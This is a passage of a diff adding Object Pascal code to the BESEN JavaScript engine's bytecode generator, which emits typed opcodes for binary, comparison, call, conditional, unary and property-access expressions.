Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if not IsValue(r1) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + end; + CodeGeneratorContext.DeallocateRegister(r1); + PR:=Code.Here; + vta:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + r1:=-1; + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) then begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression,DestRegNr,true); + r1:=DestRegNr; + end else begin + GenGetValue(r1,DestRegNr); + CodeGeneratorContext.DeallocateRegister(r1); + end; + if IsValue(r1) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=CodeGeneratorContext.Registers[r1].IsWhat; + end else begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end; + end; + bntBINARYDIVIDEEXPRESSION:begin + BinaryNumberPre; + Code.GenOp(bopDIV,DestRegNr,r3,r4); + BinaryPost; + end; + bntBINARYMODULOEXPRESSION:begin + BinaryNumberPre; + Code.GenOp(bopMOD,DestRegNr,r3,r4); + BinaryPost; + end; + bntBINARYMULTIPLYEXPRESSION:begin + BinaryNumberPre; + Code.GenOp(bopMUL,DestRegNr,r3,r4); + BinaryPost; + end; + bntBINARYPLUSEXPRESSION:begin + BinaryPre; + if IsValuePrimitive(r1) then begin + r5:=r3; + end else begin + r5:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOPRIMITIVE,r5,r3); + end; + if IsValuePrimitive(r2) then begin + r6:=r4; + end else begin + r6:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOPRIMITIVE,r6,r4); + end; + if IsValueNumber(r1) and IsValueNumber(r2) then begin + Code.GenOp(bopADDNUM,DestRegNr,r5,r6); + end else begin + Code.GenOp(bopADD,DestRegNr,r5,r6); + end; + if IsValueString(r1) or IsValueString(r2) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end else if IsValueNumber(r1) and IsValueNumber(r2) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end else begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING or bcgtNUMBER; + end; + BinaryPost; + end; + bntBINARYMINUSEXPRESSION:begin + BinaryNumberPre; + Code.GenOp(bopSUB,DestRegNr,r3,r4); + BinaryPost; + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopSHLBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopSHLNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopSHL,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopSHRBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopSHRNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopSHR,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopSHRBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopUSHRNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopUSHR,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntBINARYGREATERTHANEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopGTBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopGTNUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopGTNUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopGTSTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopGT,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopGEBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopGENUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopGENUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopGESTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopGE,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYLESSTHANEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopLTBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopLTNUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopLTNUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopLTSTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopLT,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopLEBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopLENUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopLENUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopLESTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopLE,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYINSTANCEOFEXPRESSION:begin + BinaryPre; + Code.GenOp(bopINSTANCEOF,DestRegNr,r3,r4); + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYINEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + r2:=-1; + Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) then begin + r3:=r1; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r3); + end; + Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) then begin + r4:=r2; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r4); + end; + if IsValueString(r1) then begin + r5:=r3; + end else begin + r5:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOSTRING,r5,r3); + end; + Code.GenOp(bopIN,DestRegNr,r5,r4); + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYEQUALEQUALEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopEQBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopEQNUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopEQNUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopEQSTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopEQ,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopEQBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopEQNUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopEQNUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopEQSTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopSEQ,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYNOTEQUALEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopNEQBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopNEQNUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopNEQNUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopNEQSTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopNEQ,DestRegNr,r3,r4); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) and IsValueBoolean(r4) then begin + Code.GenOp(bopNEQBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) and IsValueNumber(r4) then begin + if Code.LastOpcode=bopLITERALNUM then begin + v1:=Code.ByteCode[Code.LastCodePos+2]; + Code.Restore(Code.LastCodePos); + Code.GenOp(bopNEQNUMCONST,DestRegNr,r3,v1); + end else begin + Code.GenOp(bopNEQNUM,DestRegNr,r3,r4); + end; + end else if IsValueString(r3) and IsValueString(r4) then begin + Code.GenOp(bopNEQSTR,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopNSEQ,DestRegNr,r3,r4); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntBINARYBITWISEANDEXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopBANDBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopBANDNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopBAND,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntBINARYBITWISEXOREXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopBXORBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopBXORNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopBXOR,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntBINARYBITWISEOREXPRESSION:begin + BinaryPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopBORBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopBORNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopBOR,DestRegNr,r3,r4); + end; + BinaryPost; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntBOOLEANLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + v.ValueType:=bvtBOOLEAN; + v.Bool:=TBESENASTNodeBooleanLiteral(ToVisit).Value; + Code.GenLiteral(v,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntCALLEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if CodeGeneratorContext.MaxParamArgs<length(TBESENASTNodeCallExpression(ToVisit).Arguments) then begin + CodeGeneratorContext.MaxParamArgs:=length(TBESENASTNodeCallExpression(ToVisit).Arguments); + end; + SetLength(Operands,4+length(TBESENASTNodeCallExpression(ToVisit).Arguments)); + Operands[0]:=DestRegNr; + Operands[1]:=r1; + Operands[2]:=r1; + Operands[3]:=length(TBESENASTNodeCallExpression(ToVisit).Arguments); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + Operands[4+Counter]:=CodeGeneratorContext.AllocateRegister; + end; + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + vta:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + pr:=Code.Here; + r3:=-1; + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter],r3,true); + if r3<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r3) or IsLocalVariableReference(r3) then begin + if IsLocalVariableReference(r3) then begin + Operands[4+Counter]:=-1; + end; + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(pr); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter],Operands[4+Counter],true); + end else begin + GenGetValue(r3,Operands[4+Counter]); + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + Operands[2]:=r2; + if TBESEN(Instance).CodeTracable then begin + Code.GenOp(bopTRACECALL,Operands); + end else begin + Code.GenOp(bopCALL,Operands); + end; + if r1<>r2 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + CodeGeneratorContext.DeallocateRegister(r1); + for Counter:=4 to length(Operands)-1 do begin + CodeGeneratorContext.DeallocateRegister(Operands[Counter]); + end; + SetLength(Operands,0); + if (OptimizeLocals and HasFunctions) or not OptimizeLocals then begin + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end; + bntNEWEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if CodeGeneratorContext.MaxParamArgs<length(TBESENASTNodeCallExpression(ToVisit).Arguments) then begin + CodeGeneratorContext.MaxParamArgs:=length(TBESENASTNodeCallExpression(ToVisit).Arguments); + end; + SetLength(Operands,3+length(TBESENASTNodeCallExpression(ToVisit).Arguments)); + Operands[0]:=DestRegNr; + Operands[1]:=r1; + Operands[2]:=length(TBESENASTNodeCallExpression(ToVisit).Arguments); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + Operands[3+Counter]:=CodeGeneratorContext.AllocateRegister; + end; + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + vta:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + pr:=Code.Here; + r3:=-1; + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter],r3,true); + if r3<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r3) or IsLocalVariableReference(r3) then begin + if IsLocalVariableReference(r3) then begin + Operands[3+Counter]:=-1; + end; + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(pr); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter],Operands[3+Counter],true); + end else begin + GenGetValue(r3,Operands[3+Counter]); + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + Operands[1]:=r2; + if TBESEN(Instance).CodeTracable then begin + Code.GenOp(bopTRACENEW,Operands); + end else begin + Code.GenOp(bopNEW,Operands); + end; + if r1<>r2 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + CodeGeneratorContext.DeallocateRegister(r1); + for Counter:=3 to length(Operands)-1 do begin + CodeGeneratorContext.DeallocateRegister(Operands[Counter]); + end; + SetLength(Operands,0); + if (OptimizeLocals and HasFunctions) or not OptimizeLocals then begin + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + end; + bntCONDITIONALEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeConditionalExpression(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + end; + L1:=Code.GenOp(bopJZ,0,r3)+1; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + vta:=CodeGeneratorContext.VariableGetTypes; + + PR:=Code.Here; + r1:=-1; + Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) then begin + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression,DestRegNr,true); + end else begin + GenGetValue(r1,DestRegNr); + end; + vtb:=CodeGeneratorContext.VariableGetTypes; + + L2:=Code.GenOp(bopJMP,0)+1; + Code.GenLabel(L1); + + CodeGeneratorContext.VariableSetTypes(vta); + + PR:=Code.Here; + r2:=-1; + Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) then begin + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression,DestRegNr,true); + end else begin + GenGetValue(r2,DestRegNr); + end; + vtc:=CodeGeneratorContext.VariableGetTypes; + + vte:=copy(vtb,0,length(vtb)); + if not AreStrictValueTypesEqual(vte,vtc) then begin + ResetDifferentValueTypes(vte,vtc); + end; + CodeGeneratorContext.VariableSetTypes(vte); + + Code.GenLabel(L2); + if (not IsValue(r1)) or not IsValue(r2) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end else begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=CodeGeneratorContext.Registers[r1].IsWhat or CodeGeneratorContext.Registers[r2].IsWhat; + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + end; + bntUNARYEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Visit(TBESENASTNodeUnaryExpression(ToVisit).SubExpression,DestRegNr,true); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=CodeGeneratorContext.Registers[DestRegNr].IsWhat; + end; + bntUNARYOPERATOREXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Visit(TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression,DestRegNr,true); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=CodeGeneratorContext.Registers[DestRegNr].IsWhat; + end; + bntUNARYPLUSEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + PR:=Code.Here; + vta:=CodeGeneratorContext.VariableGetTypes; + r1:=-1; + Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValueNumber(r1) then begin + if IsValue(r1) or IsLocalVariableReference(r1) then begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression,DestRegNr,true); + end else begin + GenGetValue(r1,DestRegNr); + end; + end else begin + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + Code.GenOp(bopTONUMBER,DestRegNr,r2); + if r1<>r2 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntUNARYMINUSEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r3,r2); + end; + Code.GenOp(bopNEG,DestRegNr,r3); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntUNARYBITWISENOTEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r3,r2); + end; + Code.GenOp(bopINV,DestRegNr,r3); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntUNARYLOGICALNOTEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + end; + Code.GenOp(bopNOT,DestRegNr,r3); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end; + bntUNARYVOIDEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if not (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + end; + CodeGeneratorContext.DeallocateRegister(r1); + Code.GenLiteral(BESENUndefinedValue,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtUNDEFINED; + end; + bntUNARYTYPEOFEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + Code.GenOp(bopTYPEOF,DestRegNr,r1); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end; + bntPROPERTYEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodePropertyExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if TBESENASTNodePropertyExpression(ToVisit).Dot then begin + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + r3:=CodeGeneratorContext.AllocateRegister; + if TBESENASTNodePropertyExpression(ToVisit).RightExpression is TBESENASTNodeStringLiteral then begin + v:=BESENStringValue(TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Value); + Code.GenLiteral(v,r3); + end else if TBESENASTNodePropertyExpression(ToVisit).RightExpression is TBESENASTNodeNumberLiteral then begin + v:=BESENNumberValue(TBESENASTNodeNumberLiteral(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Value); + v:=BESENStringValue(TBESEN(Instance).ToStr(v)); + Code.GenLiteral(v,r3); + end else if TBESENASTNodePropertyExpression(ToVisit).RightExpression is TBESENASTNodeBooleanLiteral then begin + v.ValueType:=bvtBOOLEAN; + v.Bool:=TBESENASTNodeBooleanLiteral(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Value; + v:=BESENStringValue(TBESEN(Instance).ToStr(v)); + Code.GenLiteral(v,r3); + end else if TBESENASTNodePropertyExpression(ToVisit).RightExpression is TBESENASTNodeNullLiteral then begin + v:=BESENNullValue; + v:=BESENStringValue(TBESEN(Instance).ToStr(v)); + Code.GenLiteral(v,r3); + end else if TBESENASTNodePropertyExpression(ToVisit).RightExpression is TBESENASTNodeIdentifier then begin + v:=BESENStringValue(TBESENASTNodeIdentifier(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Name); + Code.GenLiteral(v,r3); + end; + if not IsValueObject(r1) then begin + Code.GenOp(bopCHECKOBJECTCOERCIBLE,r2); + end; + Hash:=BESENHashKey(v.Str); + Code.GenOp(bopREF,DestRegNr,r2,r3,TBESEN(Instance).KeyIDManager.Get(v.Str,Hash),Hash,Code.GenPolymorphicInlineCacheInstruction,-1,-1,-1,-1); + 